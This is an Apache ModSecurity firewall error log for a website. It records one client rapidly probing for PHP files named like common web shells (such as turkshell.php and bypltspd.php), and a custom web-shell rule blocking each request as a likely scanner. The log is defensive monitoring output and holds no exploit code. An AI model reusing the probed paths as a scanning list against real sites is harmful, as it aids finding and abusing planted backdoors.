[Wed Apr 08 19:09:02.962951 2026] [:error] [pid 7047:tid 7056] [client 43.166.226.186:45654] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adY3TuNh3oGO3pKiCzzcLQAAAYc"]
[Wed Apr 08 20:15:06.370018 2026] [:error] [pid 12453:tid 12459] [client 180.247.63.115:15741] [client 180.247.63.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.247.63.115, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adZGyhjtW7S6XsLPvrQavwAAAIQ"]
[Wed Apr 08 21:22:01.991497 2026] [:error] [pid 12453:tid 12473] [client 51.107.217.48:61562] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "adZWeRjtW7S6XsLPvrQ7NAAAAJI"]
[Wed Apr 08 21:22:02.975561 2026] [:error] [pid 7047:tid 7052] [client 51.107.217.48:23218] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "adZWeuNh3oGO3pKiCzwpZAAAAYM"]
[Wed Apr 08 21:22:03.764784 2026] [:error] [pid 7047:tid 7071] [client 51.107.217.48:17063] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "adZWe-Nh3oGO3pKiCzwpbAAAAZY"]
[Wed Apr 08 21:22:04.945565 2026] [:error] [pid 12453:tid 12479] [client 51.107.217.48:61446] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "adZWfBjtW7S6XsLPvrQ7OAAAAJg"]
[Wed Apr 08 21:22:05.805047 2026] [:error] [pid 12453:tid 12460] [client 51.107.217.48:20602] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "adZWfRjtW7S6XsLPvrQ7OgAAAIU"]
[Wed Apr 08 21:22:07.358606 2026] [:error] [pid 7189:tid 7213] [client 51.107.217.48:47177] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "adZWfxaBqhBSu0L37lrfGQAAAdY"]
[Wed Apr 08 21:22:09.666652 2026] [:error] [pid 7189:tid 7203] [client 51.107.217.48:20557] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "adZWgRaBqhBSu0L37lrfHAAAAcw"]
[Wed Apr 08 21:22:12.501301 2026] [:error] [pid 7189:tid 7200] [client 51.107.217.48:20227] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "adZWhBaBqhBSu0L37lrfIQAAAck"]
[Wed Apr 08 21:22:16.852939 2026] [:error] [pid 12453:tid 12473] [client 51.107.217.48:23176] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lela.php"] [unique_id "adZWiBjtW7S6XsLPvrQ7TQAAAJI"]
[Wed Apr 08 21:22:19.673314 2026] [:error] [pid 64066:tid 64071] [client 51.107.217.48:24830] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lela.php"] [unique_id "adZWi1R3WucJgr2vZGZF4wAAAUI"]
[Wed Apr 08 21:22:21.915682 2026] [:error] [pid 12490:tid 12509] [client 51.107.217.48:17072] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lela.php"] [unique_id "adZWjW1Fea4F4fbumr0H6AAAANE"]
[Wed Apr 08 21:22:23.056075 2026] [:error] [pid 12490:tid 12513] [client 51.107.217.48:61552] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lela.php"] [unique_id "adZWj21Fea4F4fbumr0H7wAAANU"]
[Wed Apr 08 21:22:23.788395 2026] [:error] [pid 12453:tid 12467] [client 51.107.217.48:24795] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adZWjxjtW7S6XsLPvrQ7WQAAAIw"]
[Wed Apr 08 21:22:24.604480 2026] [:error] [pid 7189:tid 7211] [client 51.107.217.48:23220] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adZWkBaBqhBSu0L37lrfMgAAAdQ"]
[Wed Apr 08 21:22:25.557321 2026] [:error] [pid 12490:tid 12508] [client 51.107.217.48:61565] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adZWkW1Fea4F4fbumr0H-AAAANA"]
[Wed Apr 08 21:22:26.364784 2026] [:error] [pid 12453:tid 12478] [client 51.107.217.48:16839] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "adZWkhjtW7S6XsLPvrQ7XAAAAJc"]
[Wed Apr 08 21:22:27.628036 2026] [:error] [pid 12453:tid 12464] [client 51.107.217.48:47399] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "adZWkxjtW7S6XsLPvrQ7YwAAAIk"]
[Wed Apr 08 21:22:28.520838 2026] [:error] [pid 12453:tid 12460] [client 51.107.217.48:24818] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "adZWlBjtW7S6XsLPvrQ7aQAAAIU"]
[Wed Apr 08 21:22:29.378311 2026] [:error] [pid 7189:tid 7197] [client 51.107.217.48:20254] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "adZWlRaBqhBSu0L37lrfOgAAAcY"]
[Wed Apr 08 21:22:30.280650 2026] [:error] [pid 7047:tid 7062] [client 51.107.217.48:20586] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "adZWluNh3oGO3pKiCzwpuAAAAY0"]
[Wed Apr 08 21:22:31.508505 2026] [:error] [pid 12453:tid 12457] [client 51.107.217.48:20256] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "adZWlxjtW7S6XsLPvrQ7cAAAAII"]
[Wed Apr 08 21:22:32.186290 2026] [:error] [pid 12386:tid 12431] [client 51.107.217.48:20280] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "adZWmBLhhLtqHi2gK7UdlAAAAQ8"]
[Wed Apr 08 21:22:33.415986 2026] [:error] [pid 12490:tid 12495] [client 51.107.217.48:23184] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "adZWmW1Fea4F4fbumr0IBQAAAMM"]
[Wed Apr 08 21:22:34.132636 2026] [:error] [pid 7047:tid 7066] [client 51.107.217.48:20605] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "adZWmuNh3oGO3pKiCzwpyAAAAZE"]
[Wed Apr 08 21:22:34.827099 2026] [:error] [pid 7189:tid 7207] [client 51.107.217.48:20569] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "adZWmhaBqhBSu0L37lrfPwAAAdA"]
[Wed Apr 08 21:22:35.804702 2026] [:error] [pid 7189:tid 7195] [client 51.107.217.48:20550] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "adZWmxaBqhBSu0L37lrfRQAAAcQ"]
[Wed Apr 08 21:22:36.593337 2026] [:error] [pid 7189:tid 7202] [client 51.107.217.48:61457] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "adZWnBaBqhBSu0L37lrfRwAAAcs"]
[Wed Apr 08 21:22:37.452034 2026] [:error] [pid 7189:tid 7212] [client 51.107.217.48:61464] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypltspd.php"] [unique_id "adZWnRaBqhBSu0L37lrfSgAAAdU"]
[Wed Apr 08 21:22:38.121665 2026] [:error] [pid 7189:tid 7208] [client 51.107.217.48:20283] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "adZWnhaBqhBSu0L37lrfTAAAAdE"]
[Wed Apr 08 21:22:38.814038 2026] [:error] [pid 7189:tid 7214] [client 51.107.217.48:47194] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "adZWnhaBqhBSu0L37lrfUAAAAdc"]
[Wed Apr 08 21:22:39.447547 2026] [:error] [pid 7189:tid 7191] [client 51.107.217.48:17071] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "adZWnxaBqhBSu0L37lrfUgAAAcA"]
[Wed Apr 08 21:22:40.309614 2026] [:error] [pid 12490:tid 12492] [client 51.107.217.48:20241] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqa.php"] [unique_id "adZWoG1Fea4F4fbumr0ICgAAAMA"]
[Wed Apr 08 21:22:41.386100 2026] [:error] [pid 12490:tid 12516] [client 51.107.217.48:16863] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "adZWoW1Fea4F4fbumr0IDwAAANg"]
[Wed Apr 08 21:22:42.074748 2026] [:error] [pid 12490:tid 12494] [client 51.107.217.48:47219] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "adZWom1Fea4F4fbumr0IEQAAAMI"]
[Wed Apr 08 21:22:42.756416 2026] [:error] [pid 12386:tid 12429] [client 51.107.217.48:23173] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "adZWohLhhLtqHi2gK7UdmwAAAQ0"]
[Wed Apr 08 21:22:43.781909 2026] [:error] [pid 12490:tid 12498] [client 51.107.217.48:16846] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "adZWo21Fea4F4fbumr0IGAAAAMY"]
[Wed Apr 08 21:22:44.503403 2026] [:error] [pid 12490:tid 12511] [client 51.107.217.48:61533] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adZWpG1Fea4F4fbumr0IGgAAANM"]
[Wed Apr 08 21:22:45.204910 2026] [:error] [pid 12490:tid 12512] [client 51.107.217.48:61547] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adZWpW1Fea4F4fbumr0IHAAAANQ"]
[Wed Apr 08 21:22:45.996884 2026] [:error] [pid 64066:tid 64074] [client 51.107.217.48:47361] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adZWpVR3WucJgr2vZGZF9AAAAUU"]
[Wed Apr 08 21:22:46.790432 2026] [:error] [pid 35642:tid 35662] [client 51.107.217.48:23205] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "adZWpg-CqryxdEs5DN9gFQAAAFI"]
[Wed Apr 08 21:22:47.539710 2026] [:error] [pid 35642:tid 35654] [client 51.107.217.48:47223] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "adZWpw-CqryxdEs5DN9gGQAAAEo"]
[Wed Apr 08 21:22:48.433761 2026] [:error] [pid 35642:tid 35647] [client 51.107.217.48:47215] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "adZWqA-CqryxdEs5DN9gHQAAAEM"]
[Wed Apr 08 21:22:49.651372 2026] [:error] [pid 12386:tid 12432] [client 51.107.217.48:17085] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "adZWqRLhhLtqHi2gK7UdoAAAARA"]
[Wed Apr 08 21:22:50.734274 2026] [:error] [pid 12453:tid 12471] [client 51.107.217.48:17086] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "adZWqhjtW7S6XsLPvrQ7hwAAAJA"]
[Wed Apr 08 21:22:51.587846 2026] [:error] [pid 12385:tid 12413] [client 51.107.217.48:23183] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "adZWqyAjtvRQEkLosq2iMgAAABg"]
[Wed Apr 08 21:22:52.339948 2026] [:error] [pid 12490:tid 12516] [client 51.107.217.48:61523] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "adZWrG1Fea4F4fbumr0IKAAAANg"]
[Wed Apr 08 21:22:53.514839 2026] [:error] [pid 35642:tid 35652] [client 51.107.217.48:61525] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "adZWrQ-CqryxdEs5DN9gKgAAAEg"]
[Wed Apr 08 21:22:54.342904 2026] [:error] [pid 64066:tid 64074] [client 51.107.217.48:47195] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "adZWrlR3WucJgr2vZGZF_gAAAUU"]
[Wed Apr 08 21:22:55.112697 2026] [:error] [pid 12453:tid 12479] [client 51.107.217.48:47227] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adZWrxjtW7S6XsLPvrQ7jQAAAJg"]
[Wed Apr 08 21:22:55.908302 2026] [:error] [pid 12386:tid 12426] [client 51.107.217.48:20568] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adZWrxLhhLtqHi2gK7UdqAAAAQo"]
[Wed Apr 08 21:22:56.835964 2026] [:error] [pid 12385:tid 12411] [client 51.107.217.48:61512] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adZWsCAjtvRQEkLosq2iNgAAABY"]
[Wed Apr 08 21:22:57.978945 2026] [:error] [pid 12453:tid 12464] [client 51.107.217.48:20245] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "adZWsRjtW7S6XsLPvrQ7lQAAAIk"]
[Wed Apr 08 21:23:53.334930 2026] [:error] [pid 64066:tid 64079] [client 51.107.217.48:61488] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file31.php"] [unique_id "adZW6VR3WucJgr2vZGZGVgAAAUo"]
[Wed Apr 08 21:23:54.040961 2026] [:error] [pid 64066:tid 64092] [client 51.107.217.48:24790] [client 51.107.217.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file31.php"] [unique_id "adZW6lR3WucJgr2vZGZGWwAAAVc"]
